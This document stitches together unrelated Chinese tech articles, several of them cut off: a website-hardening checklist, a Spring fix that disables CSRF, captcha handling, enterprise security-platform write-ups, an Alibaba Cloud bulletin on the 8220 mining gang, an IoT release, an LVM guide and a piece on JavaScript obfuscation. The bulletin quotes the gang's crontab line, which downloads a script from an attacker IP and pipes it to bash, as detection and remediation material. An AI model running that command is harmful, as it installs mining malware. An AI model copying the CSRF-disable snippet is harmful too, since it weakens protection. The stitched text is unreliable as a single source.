网站安全总结一、服务器系统安全A.服务器硬件：主要为硬盘数据及时备份及异地备份或双硬盘。B.服务器软件： 1.服务器密码定期修改（一个月）并符合复杂性要求。[linux下将root用户改名并修改或隐藏系统的banner信息]。2.及时打补丁、升级等[关注官方漏洞列表]。3.设置加密码连接并修改连接端口、关闭或卸载不必要的服务、端口。4.linux下，设置严格的iptables策略、设置web执行用户操作服务器的权限。5.开启SSL安全访问。威胁说明：1.root暴力破解。2.针对banner信息特定攻击。3.新漏洞利用攻击。4.远程连接劫持。5.利用其他易忽略服务攻击。6.利用web软件提权。二、目录安全（威胁：）A.将项目、框架目录放置在web目录之外[只将部分目录如公共目录及图片上传放在web目录下]。B.设置上传目录的权限为只读写，不执行程序代码（或将上传目录放于另一域名下）。威胁说明：目录结构暴露及伪图片/图片木马攻击。模板及程序被下载。三、代码安全A.httpoly 开启(虽然用处不大)。B.cookie安全cookie名称及值加密C.Web跨域提交攻击及跨页面提交[设置URL认证及签名cookie及hidden的token或令牌]D.数据过滤安全XSS：1.接收用户数严格过滤。2.入库转实体。E.表单安全：加验证码及C的方式。F.逻辑安全： 1.接收参数如ID是否存。2.ID是否转整或字符是否转强换及过滤。3.判断数据库是否存该记录。4.存在是否符合要求（如所属主是否有权限操作）。等等（多想想）。威胁说明：1.cookie盗取及利用。2.跨域攻击（机器远程攻击）。3.XSS攻击提权。4.表单机器提交等。四、程序文件安全A.模板文件暴露及字段猜解。程序文件名暴露及程序被下载。B.其他未知安全。威胁及方案：采用二的目录安全可解决。五、数据库安全A.数据库异地备份、数据逆向同步备份。B.修改banner信息。定期修改mysql的root密码，设置远程连接数据库的权限（最好禁止远程连接）C.表字段及数据库加前缀。D.修改mysql的端口号。六、其他安全A.生成静态文件访问。B.设置伪静态。C.屏蔽错误信息。总结：以上为个人平时经验及实验总结（仅供参考）。当然还有很多的攻击方式未写到。总结解决方案也未必完美，由于个人水平有限及遇到的情况所限，还有待更多的朋友分享。如有其他疑问请联系：15210079701@126.com《PHP及安全爱好者-李伟杰（原创）》*

注册中心配置了spring-security后客户端启动报错

注册中心配置了security后, 报了 registration failed Cannot execute request on any known server 的错误, 原因是 2.1版本的security默认加上了 csrf 拦截, 所以需要通过重写方法, 把csrf拦截禁用在启动类上加上以下代码(禁用csrf)即解决问题 @EnableWebSecuritystatic class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.csrf().disable() .authorizeRequests() .anyRequest() .authenticated() .and() .httpBasic(); }}完整代码如下: /** * @author 毛宇鹏 */@EnableEurekaServer@SpringBootApplication(exclude={ DataSourceAutoConfiguration.class, HibernateJpaAutoConfiguration.class})public class RegisterApplication { public static void main(String[] args) { SpringApplication.run(RegisterApplication.class, args); } /** * 2.1版本的security默认加上了 csrf 拦截, 所以需要通过重写方法, 把csrf拦截禁用 * 参考: https://github.com/spring-cloud/spring-cloud-netflix/issues/2754 * <pre> * This is because @EnableWebSecurity is now added by default when Spring Security is on the classpath. * This enable CSRF protection by default. You will have the same problem in 1.5.10 if you add @EnableWebSecurity. * One work around, which is not the most secure workaround if you have browsers using the Eureka dashboard, is to disable CSRF protection. * This can be done by adding the following configuration to your app. * </pre> */ @EnableWebSecurity static class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.csrf().disable() .authorizeRequests() .anyRequest() .authenticated() .and() .httpBasic(); } }}

API-交互中怎么做好图片验证码

前言在传统的 Web 开发过程中，处理图形验证码很简单，只需要在后台用随机字符串生成一个图片，将验证码内容放进 Session 即可，用户提交表单时从 Session[1] 取出判断即可。但是现如今，越来越推崇 API 交互，无状态，在 Session 这一块，虽然默认配置是不支持了，但是还是有很多曲线救国的方法。基于 Session 实现在 API 开发中，我们也可以给前端签发 SessionID ，并且通过 PHP 的内置方法，来实现这一切。比如我们与前段约定，当在请求中包含有 X-Session-Id ，且不为空时，表示这个会话已经注册过 SessionID ，否则就颁布一个 SessionID 并返回在 Response Header 中的 X-Session-Id 让前段记录这个 SessionID ，下面简单实现一下。 // code_session.phpsession_start();// 这里假设已经通过 Header 获取到了 SessionID，并保存到了 $sessionId 变量中。// 当 SessionID 不存在，或者为空则创建新的 SessionID 。if(!isset($sessionId) || empty($sessionId)){ $sessionId = session_create_id(); // 因为前台还没有 SessionID ，所以下发一个，通知前端保存。 header('X-Session-Id: '.$sessionId);}// 设置当前会话的 SessionID 。session_id($sessionId);// 这里我们就可以自由的读写 Session 了。// 生成验证码$code = mt_rand(1e3 ,1e4-1);// create_image 请自行实现或者使用现有的图形验证码库生成。$image = create_image($code);// 存储进去 Session$_SESSION['code'] = $code;// 输出一张图片$image->output();上面基本实现了生成图片，前端需要根据只需要再提交表单时，在 headers 中带上 X-Session-ID 即可。 ...

企业安全建设进阶

安全是个“无底洞”，没有一个企业的安全负责人会说自己的系统是百分百安全的，安全也不是特别好衡量和量化，尤其是定量地评估出谁比谁做得好、好多少。有时候也会反思，或者说迷茫，“上了那么多防护手段、到底能不能经得起对抗？”，“安全自研产品做了半年、用了半年、然后有一天它被废弃掉了”，“SDL喊了好几年了，怎么就运营不下去呢？”，“业务主动过来寻求支撑，可是我们手里没有核武器。”...... 本文将介绍宜信安全建设不同阶段的思路和成果，每个阶段遇到的挑战、踩过的坑，以及收获的心得和体会，分享宜信内部安全产品的发展，探索企业安全建设路径。一、背景 2013年，公司正式开始进行安全建设，投入资源成立专门的安全团队、搭建基础安全设施。宜信公司的安全建设自开始至今大致可分为三个阶段： 2013年-2016年处于V1阶段。V1阶段主要实现了：基础的安全环境（如防火墙、区域隔离、主机IDS、网络IDS、网络准入、防病毒等等）；在上市前后通过合规检查工作逐步建立和完善了公司的信息安全制度，通过了等保三级、ISO27001认证；在2016年建立了自己的安全应急响应中心。 2016-2018年处于V2阶段。V2阶段的主要成果是完善了安全技术，提高了安全工作覆盖的范围；参与了部分业务安全相关的工作（账号安全、反爬虫、短信接口攻击、人机识别等）；确定了SDL的相关流程（没有特意去实施，只是使用了其中一两个方法）；开发了漏洞扫描、GitHub监控等一些安全工具。当前处于V3阶段，未来应该还会持续1-2年左右的时间。在这个阶段，我们开始追求构建更加贴合企业长期发展、在某个点更专注更深入的安全能力，比如安全运营的能力、数据安全的能力。二、几年前的状态上图是之前总结的行业里信息安全所处的状态和发展情况，以及截止2016年我们在安全上完成的一些项目。那个阶段在网络边界、IT等方面的工作，打下了比较扎实的基础，包括网络准入、终端DLP、防病毒等已经实施完成。在基础安全尤其是终端安全效果尤为显著，保证了内网、办公网处于一个相对安全的环境，不用天天紧急应对木马、勒索病毒、甚至APT这类安全事件，可以释放更多的精力去做更有意义的事情。三、SDL实践3.1 SDL流程本阶段我们重点参考、借鉴了唯品会安全团队分享的SDL流程，挑选了适用我们现状的几个重点环节，包括培训、安全编码规范等，在公司进行推广。重要的项目安全也会参与安全需求评审，与业务、产品、技术等团队建立了很好的合作关系。值得一提的是，在企业，与安全的合作可以分为两种：一种属于“免责甩锅型”、一种属于“合作共赢型”。两种类型，遇到涉及安全的事情，表面上都会找到安全，但内在的动机却是大相径庭。第一种更多的是为了免责，事情我通报你了、问题我抛给你了，甚至为什么要找安全、找安全解决什么需求问题都不知道也不关心，剩下的都与我无关了，出了问题，安全来背锅；第二种更多的是为了寻求安全的协作，我知道可能会有哪些安全风险、我有特别关注的业务上的安全需求，我需要和安全一起配合解决产品的安全问题，确保上线后系统、业务的安全性，两个团队相互促进和提升。两种类型在合作方式、日常互动、最终的安全效果上截然不同。造成这种局面可能有多种原因，包括：非安全人员的综合能力和素质、安全培训的有效性、安全团队的专业性和影响力（安全是否真的帮别人解决过痛点、双方是否一起扛过枪）。 3.2 SDL案例上面两张图展示的是我们做得比较好的地方，称之为SDL或DevSecOps都可以，是自动化嵌入到发布过程的，重点解决了第三方组件的安全问题，既可以快速在发布过的软件制品里检索出包含的第三方组件，也可以定义规则直接在构建过程中对包含存在严重漏洞的组件直接阻断。这部分工作可以完全实现自动化，支持Maven、Gradle、Docker等，并且不会影响持续交付的能力。统一的资产管理、代码库、软件仓库、CICD平台实施起来会更加便捷，维护成本也最低，当然这离不开DevOps团队的能力支持。 3.3 SDL威胁建模今年我们也尝试了SDL威胁建模，设计了适合我们的建模规则，包括重点关注的数据安全需求、审计需求等。这部分工作目前还在小规模试点、探索阶段，从流程到工具都还有很多要解决和优化的事情，等到实际成熟，我们再考虑投入更多的安全测试、安全服务人员在公司大范围推广。 3.4 SDL白盒扫描在白盒代码审计方面，我们也投入了少量的资源进行尝试，封装了代码审计平台，核心依赖于Sonarqube和Findbugs Security，也支持自己编写规则，实现了触发扫描、上传源码扫描等方式，自动提交漏洞。但是这部分最大的消耗还是对规则的运营、对误报的消除等，目前也没有找到更优的解决办法，听到比较多的思路也是简化规则，初期“宁可漏报，不要误报”。目前主要的使用方式：安全人员临时任务需要上传源码进行扫描、对一些接入的项目每周扫描发送检测报告。 3.5 SDL被动扫描 SDL的另外一个尝试是在被动扫描，基于流沙平台收集的测试环境流量进行回放。大致的思路之前很多人都分享过，通过替换cookie、request-param重点用于测试发现未授权访问、垂直越权、水平越权等安全问题。难点也是优化规则、整理收集公司业务的共性（比如错误页提示等）。之前利用这个扫描发现过几个高危的问题，投入产出比还是挺高的。但是想做到较高的扫描准确率、提高自动化程度、达到可持续运营的效果，要投入的人力就比较大了。具体看团队的取舍吧，最近也看到一些国内外利用AI来提高安全测试效率、甚至替换人来进行手工安全测试的项目，不评判短期内是否能很好的落地，但是认同一句话“人是会疲劳的，但是机器却不会”。 3.6 SDL漏洞管理漏洞管理主要依赖于洞察平台，包括应用资产系统的管理、漏洞生命周期的管理、安全知识库的管理。洞察平台在去年进行了开源，用户比我们预期的要多，从社区微信群平时的交流咨询来看，使用者多是1-5人的安全团队，并且有互联网、制造、物流等多个行业。每次有人加我们微信寻求洞察平台部署配置以及功能使用上的帮助时，虽然占用了我们一些工作的时间来解答或者解决问题（我们会检讨软件质量问题），但还是很开心能够真正帮助到安全同行。这件事也让我有些反思：其一很多企业在安全上的投入有限，的确需要好的开源解决方案；其二产品落地需要一些乙方的思维，产品有时候需要做减法，大而全未必是每个人都需要的，而且好用的前提是好部署好配置。洞察insight开源地址：https://github.com/creditease... 四、洞察2.0今年我们将开源洞察的2.0版本。第一会优化之前的交互、功能、业务逻辑等提高易用性；第二完善漏洞运营的数据，加强报表功能来关注整体的安全状况；第三也是最大的更新，合并了SRC前、后台的功能，让企业可以自定义地来建立自己的安全应急响应中心，并且统一了各个来源的漏洞管理。上图展示的是原型图，目前正在开发的过程中，有需要的安全同行们可以期待一下。五、流沙平台另外一个最近一年听到比较多的各甲方团队在讨论的就是SOC和SIEM，有商业化的安全大数据产品、也有类似Splunk这样的平台（Splunk Enterprise Security）、还有基于ELK的开源方案。我们选择的是第三种，当前阶段比较好地实现了数据的采集、存储，以及一些不是非常复杂的计算。数据来来自交换机的流量镜像、日志文件、各安全设备的syslog等。架构师设计实现了一套预处理程序，进行数据的接入配置、过滤、格式化、组装、打标、脱敏等，核心代码部分用go来编写，来提升处理性能。上图是整个“流沙”平台的架构，以及硬件资源、数据量、写入速度等；有了数据，在应用场景，目前实现了包括资产发现、弱口令检测、信息泄漏发现等等，基于简单的规则就可以实现，不需要非常复杂的计算。具体参考：流沙：宜信安全数据平台实践 5.1 流沙应用：内控基于流沙安全大数据平台，如何满足更复杂的安全分析、关联分析场景，也是我们后续要重点开发的。上图是之前做的用于满足内控的一个上层应用，同事也在QCon上分享过，实时收集公司内部业务系统的登录、查询操作、办公网员工的上网行为（自定义规则）、DNS、GitLab、WiKi、DLP告警等。第一满足审计业务运营系统的操作行为，比如谁在什么时候访问过哪些敏感数据，做记录用于追溯；第二进行分析，比如某个人的操作异于该岗位的其他人员，聚类定位高危人员，做重点关注。上图是我们整理的关于用户资产的信息。六、自研的WAF产品逐步替换商业化的WAF产品，具备传统WEB安全防御能力具备CC攻击防护能力具备爬虫防护能力具备信息泄露防护能力具备数据分析识别异常流量能力6.1 宜人盾重点说一下我们自研的WAF产品：宜人盾，前后大概花了一年半左右的时间，迭代了3个大版本，投入了8名安全团队的人员负责系统设计、开发、防护规则收集，1名运维同事负责安装包制作和部署工作，2名测试工程师协助进行压力测试。我们之前采用的是商业化WAF设备，Gartner象限里排第一的，这几年采购了有10台左右。产品本身很好，大家使用的比较熟练也比较稳定，但也存在一些不足：第一，产品对传统基于规则的恶意请求的防护强、但对爬虫这种有时间窗口上下文的访问防护比较弱、并且开启这部分功能会损耗整体的硬件性能；第二，需要以硬件的形式串入到网络中，遇到实施新的业务、新的网络区域时，就需要上架新的设备，实施周期长；第三，水平扩展的能力不是很强，单点遇到瓶颈时只能选择扩容或者拆分流量，动静很大。综上，我们还是选择在有商业化产品的前提下，自研了宜人盾，符合SDS软件定义安全的趋势（感谢公司和领导的大力支持）。宜人盾基于OpenResty扩展，分为网关、大数据分析平台、运营后台管理端三大部分，所有配置通过Redis共享读取。宜人盾具备WEB防护、CC防护、黑名单防护、语义识别防护、敏感数据防护、AI防护。产品设计和开发按照商业化产品标准：精选100多条基础规则、可添加自定义规则、规则黑白名单等均分全局与域名、并且每个域名的每项防护开关都可独立开启、报表分析和每个拦截事件的查询均按域名区分，在产品易用性和交互上做了打磨。平台特点软件定义、水平扩展快速接入当前进度及运营情况 ...

流沙宜信安全数据平台实践

导读：宜信结合自己的实际情况，实现了一套集采集、分析和存储为一体的安全数据平台——流沙平台。本文重点介绍一下流沙平台的架构，相比于OpenSOC做了哪些优化及改进的地方以及流沙平台在落地过程中的经验总结。前言OpenSOC是思科在BroCON大会上亮相了的一个安全大数据分析架构，它是一个针对网络包和流的大数据分析框架，是大数据分析与安全分析技术的结合, 能够实时的检测网络异常情况并且可以扩展很多节点，它的存储使用开源项目Hadoop，实时索引使用开源项目ElasticSearch，在线流分析使用著名的开源项目Storm。宜信结合自己的实际情况，同样实现了一套集采集、分析和存储为一体的安全数据平台——流沙平台。本文重点介绍一下流沙平台的架构，相比于OpenSOC做了哪些优化及改进的地方以及流沙平台在落地过程中的经验总结。一、流沙平台架构整个平台架构分了多个层次，采集层、预处理层、分析层、存储层和响应层。层之间若需要，均使用kafka作为消息队列进行数据传递，保证了传输过程中的数据可靠。 1.1 采集层采集层主要用于数据采集，然后将采集的数据统一发送至kafka。采集的数据主要包括：流量数据——使用packetbeat进行解析日志数据——文件形式的日志使用filebeat进行采集；syslog形式的数据采用rsyslog进行采集运维数据——为方便故障排查和集群性能监控，使用metricbeat采集流沙平台集群服务器的运维数据在实际运营的过程中，我们发现packetbeat在攻击场景下存在一些缺陷，并给出了相应的解决办法，比如：网页压缩会导致body乱码若没有content-type字段则不会解包位于body部分的参数会被添加进params字段中connect请求导致的urlparse报错不规范的url编码字段导致的urlparse报错1.2 预处理层流沙平台的预处理程序（以下统称为“ybridge”）为宜信基于golang自主开发的一套支持分布式的预处理框架，通过编写配置即可实现自定义用户的输入输出以及数据所需要实现的功能。通过编写插件可以为每一种数据进行单独的处理操作，能够满足实际使用过程中的各种需要。 ybridge具有以下优点：功能灵活性能较高无依赖支持冗余部署，可靠性高支持docker/vm部署方式，易于扩展能够将运行数据发送至metricbeat，并进行性能监控ybridge的主要工作包括以下几点：支持gzip解码数据格式化字段扩展字段提取敏感字段打码日志情报化数据加解密删除无用数据数据压缩1.3 分析层作为大数据分析平台，数据分析是核心。虽然，分析可以在kibana或者单独写程序来实现，但是这种方式需要从ES来拉取数据然后再进行分析，一方面时效性会较差，另外一方面过于依赖ES集群会导致平台稳定性变差。为此，流沙平台基于spark实现了一套分析引擎，该引擎以kafka为数据源，并将分析的结果存放在ES中。可以通过人工的方式在kibana上分析出规则，然后将该规则应用到分析引擎上。在分析层实现的功能包括：资产发现攻击发现信息泄露内部威胁溯源业务风控1.4 存储层存储层包括两个ES集群（ES_all集群和ES_out集群）和一个hbase集群。之所以使用两个ES集群，是因为两者功能不同，避免由于一方面的原因而导致整个集群不可用，提高平台稳定性。~ES_all集群用于存储全量的原始数据，方便人工分析和溯源ES_all集群用于存储全量的原始数据，方便人工分析和溯源ES_out集群用于存储分析后的结果数据，方便程序调用~ ES存放的是短期的热数据，hbase存放的是长期的冷数据。数据在hbase中以时间戳为单位，一个rowkey存储一秒钟数据。用户可以通过ybridge将hbase中某段时间内的冷数据回放至kafka，再进行后续的操作，比如分析或者溯源。 1.5 响应层响应层用于对用户的数据进行分析处理并响应。响应层主要包括： kibana：用于数据搜索、监控展示、攻击溯源等监控可视化：通过图标的方式在大屏上呈现出当前最主要的风险，可以更直观的了解到企业正在面临的安全威胁。 alertAPI：通过监控发现问题之后，往往需要有一个后续动作，比如自动化响应或者告警。调用后续动作可以有多种途径，比如：编写程序分析并告警watcher（收费。elastic官方的工具）Elastalert（免费。基于python的报警框架）后续动作则可以包括：短信告警邮件告警自动拦截恶意IP数据的二次加工并重新写入ESjupyterhub：从ES集群中提取数据并使用python进行离线的数据分析，多人数据分析平台。二、与OpenSOC相比 OpenSOC同样存储了流量数据和日志数据，数据采集之后先发送到kafka，然后通过storm进行格式化和字段扩充之后分别写入hive、ES和HBase，最后通过webservise或者分析工具对数据进行分析。流沙平台架构和OpenSOC基本相同，但是在上图所示的几处会有细微差异，下文将分别进行描述。 2.1 使用beats进行数据采集在数据采集方面，流沙平台大量使用了beats。beats为Elastic官方出品，社区活跃度比较高，性能和功能都很优秀。网络流量使用packetbeat进行网络数据解析，日志文件采用filebeat进行采集，系统性能监控和ybridge性能监控使用的是metricbeat。beats具有以下优点：性能较高易于上手与ybridge使用相同技术栈，易于功能扩展或改造beats版本同elasticsearch同步更新2.2 处理层拆分OpenSOC的实时处理部分包含了多对数据的分析、丰富、分析等内容，流沙平台按照功能将这块分为了两层，第一部分是预处理层，第二部分是分析层。预处理层采用的是自研发的ybridge程序，主要实现ETL功能，支持横向扩展，时效性和处理速度可以保证预处理层的结果可以直接存储也可以扔给kafka，进行下一次处理。分析层有一套基于spark实现的分析框架进行分析，相比于storm，spark虽然的时效性虽然没有那么高，但是spark能够更好地进行聚合分析、而且天生兼容机器学习和图计算，非常适合数据分析，而storm实现类似的功能成本较高。 2.3 舍弃hiveOpenSOC中一份数据会分别存储到hive、hbase、ES三处，这样无疑会有巨大的存储资源的投入，考虑到hive的查询速率较慢，而数据可以通过ES直接分析或者抽取出来之后再做分析，所以流沙平台没有使用hive存储。短期数据直接在ES里面查找，长期的数据从hbase拿出来之后再使用。这样的架构会更适用于中小型企业，在功能和资源之间取了一个平衡点。 2.4 数据回放方式不同OpenSOC在hbase中存储的是pcap文件，而流沙平台存储的是预处理格式化之后的json格式的数据，在进行数据回放的时候会更加方便而且更节省存储空间。 OpenSOC过webserver来实现数据的回放，而流沙平台通过ybridge来实现回放。 2.5 与威胁情报紧密结合OpenSOC在实时处理层进行了数据的丰富，流沙平台除此之外还接入了威胁情报。威胁情报对于企业安全的作用越来越大，能够帮助企业发现潜在的安全问题对于流沙平台来说，一方面，将内部的告警转化为内部情报，另外一方面将内部情报和外部情报结合形成宜信独有的威胁情报，并将其反哺给日志和流量，帮助企业安全分析人员更方便的进行数据分析和决策。三、落地方面的经验3.1 平台高可用流沙平台最重要的是能够提供稳定可靠的数据服务，因此，平台高可用非常重要。首先，整个平台除了beats和kibana，均为冗余部署，甚至流沙平台的日志接受服务器也采用了双活部署的方式；其次，预处理程序可以随时启停，实现程序的平滑升级，用户无感知；最后，为了确保稳定性，流沙平台添加了大量监控告警，比如： ES集群异常监控数据丢失监控丢包率监控服务存活状态监控3.2 如何解决丢包问题在解析网络流量的时候，最大的问题就是丢包。首先需要做的是能够发现丢包，可以定期发送100个指定UA的数据包，然后在ES端统计接收到多少个数据包，若是丢的数量超过一定数值则告警。至于丢包的原因可能有很多，这里主要分析软件丢包的情况。解决方案也有很多，大的来说有以下几个思路：提高解析效率（比如使用pf_ring或者DPDK）硬件分流软件分流谨慎选择镜像接入点，不建议接入核心数据，可以大大减少解析数据量在选择解决方案的时候建议根据自身企业的实际情况，第一种效率最高，但是pf_ring为收费软件，而DPDK往往需要开发，都需要付出一些成本。除此之外，也可以通过硬件分流或者软件分流的方式来解决。硬件分流由于其更加简单而且可靠，比较推荐。 3.3 服务集中管理为了能够让这套平台落地，需要到大量的服务器，不同服务器上各自运行不同的程序，因此需要一套集中化的管理手段，为此，流沙平台使用了以下两个工具： gosuv：gosuv是一个go写的分布式的supervisor框架，可以通过web页面远程管理服务器上的程序。consul：consul则是一个分布式的微服务框架，实现了服务注册、服务发现以及统一配置管理等功能。gosuv + consul的方式可以很方便的实现程序的集中管理，和程序状态监控。总结数据是安全分析的基础，有了数据以后，威胁情报、态势感知、黑客画像、业务风控、攻击溯源、攻击识别、资产发现都变得并非遥不可及。流沙平台结合宜信实际的场景，从效率、成本、功能三者之间综合考量，对OpenSOC进行了一些改良并落地。通过流沙平台，安全工作人员可以将大部分精力专注于数据分析上，弥补了商业安全产品的不足，更好的帮助安全防护同学全面的了解企业的安全状态。流沙平台不仅仅是一个数据平台，更是宜信现有安全措施的重要补充。作者：安全开发高杨首发：宜信安全应急响应中心

威胁快报挖矿团伙8220进化rootkit挖矿趋势兴起

近日，阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益，开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势，此后预计主机侧的隐藏和对抗将成为主流。背景阿里云安全团队蠕虫监控平台发现8220挖矿团伙的下载脚本出现更新，除了下载必要的驻留脚本、挖矿程序之外，新增加了一个 so文件的下载地址：http://107.174.47.156/1.so。 8220挖矿团伙是一个长期活跃的利用多个漏洞进行攻击和部署挖矿程序的国内团伙[1-2]，该团伙组合利用WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)、Drupal RCE(CVE-2018-7600)、JBoss 反序列化命令执行漏洞(CVE-2017-12149)等多个漏洞进行攻击并部署挖矿程序进行牟利。通过对相关脚本和该so的简单分析，我们确认8220团伙已经在其攻击工具包使用ProcessHider[3]对自身进行隐藏。ProcessHider是被众多恶意软件广泛利用的rootkit。挖矿蠕虫利用该工具使管理员难以通过常规手段检测到挖矿进程，从而提高挖矿进程的存活时间以最大化挖矿收益。随着时间的推移，可能会有越来越多的挖矿蠕虫加入rootkit功能。蠕虫检测如果在云控制台看到明显的CPU 上升，机器整体性能卡顿，但是登录机器使用 PS/TOP 等命令却无法定位到具体占用CPU的进程，此时该机器就很可能已经感染此类使用 rootkit 进行隐藏的挖矿蠕虫。 1.主机检测该蠕虫利用LD_PRELOAD机制，使得自身的so文件先于系统加载，并通过劫持 readdir函数，使依赖该 API 返回的PS/TOP等系统命令无法正确返回结果。因此用户使用这些受影响的系统命令将无法看到真实的进程。如上图所示，该蠕虫隐藏的进程关键字是kworkerds。在主机侧可以使用以下命令对蠕虫进行检测查看动态链接库#ldd /bin/top|grep usr /usr/local/lib/libkk.so (0x00007f0f94026000)发现存在异常的so文件查看 PRE_LOAD系统变量#cat /etc/ld.so.preload /usr/local/lib/libkk.so发现preload文件被修改查看 crontab#crontab -l */30 * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh发现crontab出现奇怪的定时任务使用普通top 查看到的进程: LD_PRELOAD依赖于动态链接过程，因此使用静态编译的busybox执行top命令，将可以看到真实的全部进程。 2.网络检测随着对抗的不断升级，挖矿蠕虫的自我隐藏功能必将不断升级，而面对全副武装的蠕虫病毒，普通用户在主机侧与其进行强对抗成本极高并且收益较低。针对该类蠕虫通过网络侧的NTA(Network Traffic Analysis)功能进行检测更加有效。因为无论攻击者在主机侧采用了何种隐藏手法，但其远程下载、C&C通信、矿池通信等行为均会在网络流量中留下痕迹。下图是在网络侧云防火墙通过检测到主机感染后下载后门文件的行为发现该蠕虫的记录。修复方案1.由于本地命令可能都已被劫持，因此首先下载静态编译的busybox来执行指令，保证执行的系统命令不受劫持影响。下载二进制#wget https://www.busybox.net/downloads/binaries/1.27.1-i686/busybox赋予执行权限#chmod +x busybox2.清理动态劫持 ./busybox rm -f /usr/local/lib/libkk.so 2>/dev/null./busybox chattr -i /etc/ld.so.preload 2>/dev/null./busybox chattr -i /usr/local/lib/libkk.so 2>/dev/null./busybox rm -f /etc/ld.so.preload./busybox touch /etc/ld.so.preload./busybox chattr +i /etc/ld.so.preloadldconfig3.杀恶意进程和相关文件 ...

阿里云生活物联网平台30发布助力智能家电中国造全球卖

视频地址：https://yunqivedio.alicdn.com... 查看产品：生活物联网平台点击了解：“阿里云新品发布会频道”立即订阅：阿里云新品发布会·周刊在物联网行业蓬勃发展的大潮中，阿里云IoT致力于将物理世界数字化，构建了云端一体化的平台，为智能生活、智能工业、智慧城市等各行业提供助力。阿里云发布生活物联网平台（飞燕平台）3.0，为行业合作伙伴提供安全、稳定、高扩展、低成本的智能生活解决方案，同时还将通过阿里云的全球化部署助力中国企业出海，共同打造物联网的生态。只需五步，实现产品的智能化升级“创建产品-功能产品-在线调试-配置界面-发布量产”，通过这四步，传统硬件厂商可以快速定义产品功能和属性、选择认证模组、在线调试端到云链路、配置所见即所得的人机界面，从而大大节省设备上云的工作量。低成本，快捷配置免开发传统的智能硬件开发包括设备端、服务端和客户端开发，至少需要20个以上的基本工作环节，还需要面对高并发稳定性、安全保障、运维服务等方面的问题。现在，智能硬件厂商可以快捷配置和服务选择，低成本的完成从硬件到用户交互的产品交付，并且拥有专属的运营管理中心，从而只需要专注于硬件产品本身的设计和开发。高扩展，支持深度定制生活物联网平台还提供高扩展能力，包括客户端SDK和云端API，让具备开发能力和个性化需求高的厂商开发自主品牌APP，也可以通过云对云的方式将自有业务系统和平台打通，深度定制自有业务体系。全球部署，助力中国企业出海通过阿里云的全球化部署，生活物联网平台也在全球多个节点实现完整的全链路服务能力、统一的设备激活和漫游能力、多语言能力，助力中国企业的产品走向海外，服务国际用户。查看产品：生活物联网平台点击了解：“阿里云新品发布会频道”立即订阅：阿里云新品发布会·周刊本文作者：云攻略小攻原文链接本文为云栖社区原创内容，未经允许不得转载。

ECS最佳实践基于多块云盘构建LVM逻辑卷

一、LVM简介LVM是逻辑盘卷管理（Logical Volume Manager）的简称，它是Linux环境下对磁盘分区进行管理的一种机制，LVM是建立在硬盘和分区之上的一个逻辑层，来提高磁盘分区管理的灵活性。 LVM最大的特点就是可以对磁盘进行动态管理。因为逻辑卷的大小是可以动态调整的，而且不会丢失现有的数据。如果我们新增加了硬盘，其也不会改变现有上层的逻辑卷。作为一个动态磁盘管理机制，逻辑卷技术大大提高了磁盘管理的灵活性。如果期望扩容云盘的IO能力，则可以通过将多块容量相同的云盘做RAID0。二、创建LVM卷2.1步骤一创建物理卷PV 如下以5块云盘通过LVM创建弹性可扩展逻辑卷为例。 root@lvs06:~# lsblkNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTvda 252:0 0 40G 0 disk└─vda1 252:1 0 40G 0 part /vdb 252:16 0 1T 0 diskvdc 252:32 0 1T 0 diskvdd 252:48 0 1T 0 diskvde 252:64 0 1T 0 diskvdf 252:80 0 1T 0 diskstep1：以root账号登录云服务器step2：执行以下命令，为云盘创建PV卷pvcreate <磁盘路径1> ... <磁盘路径N>说明：此处需要填写云盘的设备名称，如果需要添加多个云盘，则可以添加多云盘设备名称，中间以空格间隔。如下以/dev/vdb, /dev/vdc,/dev/vdd,/dev/vde,/dev/vdf为例，执行结果如下： root@lvs06:~# pvcreate /dev/vdb /dev/vdc /dev/vdd /dev/vde /dev/vdf Physical volume "/dev/vdb" successfully created. Physical volume "/dev/vdc" successfully created. Physical volume "/dev/vdd" successfully created. Physical volume "/dev/vde" successfully created. Physical volume "/dev/vdf" successfully created.step3：执行以下命令，查看该服务器上物理卷（PV）信息：lvmdiskscan | grep LVM执行结果如下： ...

JavaScript混淆安全加固

前言在安全攻防战场中，前端代码都是公开的，那么对前端进行加密有意义吗？可能大部分人的回答是，毫无意义，不要自创加密算法，直接用HTTPS吧。但事实上，即使不了解密码学，也应知道是有意义的，因为加密前和解密后的环节，是不受保护的。HTTPS只能保护传输层，此外别无用处。而加密环节又分：传输加密（对抗链路破解）数据加密（对抗协议破解）代码加密（隐藏算法、反调试...）本文主要列举一些我见到的，我想到的一些加密方式，其实确切的说，应该叫混淆，不应该叫加密。那么，代码混淆的具体原理是什么？其实很简单，就是去除代码中尽可能多的有意义的信息，比如注释、换行、空格、代码负号、变量重命名、属性重命名（允许的情况下）、无用代码的移除等等。因为代码是公开的，我们必须承认没有任何一种算法可以完全不被破解，所以，我们只能尽可能增加攻击者阅读代码的成本。原文地址语法树AST混淆在保证代码原本的功能性的情况下，我们可以对代码的AST按需进行变更，然后将变更后的AST在生成一份代码进行输出，达到混淆的目的，我们最常用的uglify-js就是这样对代码进行混淆的，当然uglify-js的混淆只是主要进行代码压缩，即我们下面讲到的变量名混淆。变量名混淆将变量名混淆成阅读比较难阅读的字符，增加代码阅读难度，上面说的uglify-js进行的混淆，就是把变量混淆成了短名（主要是为了进行代码压缩），而现在大部分安全方向的混淆，都会将其混淆成类16进制变量名，效果如下： var test = 'hello';混淆后： var _0x7deb = 'hello';注意事项： eval语法，eval函数中可能使用了原来的变量名，如果不对其进行处理，可能会运行报错，如下： var test = 'hello';eval('console.log(test)');如果不对eval中的console.log(test)进行关联的混淆，则会报错。不过，如果eval语法超出了静态分析的范畴，比如： var test = 'hello';var variableName = 'test';eval('console.log(' + variableName + ')');这种咋办呢，可能要进行遍历AST找到其运行结果，然后在进行混淆，不过貌似成本比较高。全局变量的编码，如果代码是作为SDK进行输出的，我们需要保存全局变量名的不变，比如： <script>var $ = function(id) { return document.getElementById(id);};</script>$变量是放在全局下的，混淆过后如下： <script>var _0x6482fa = 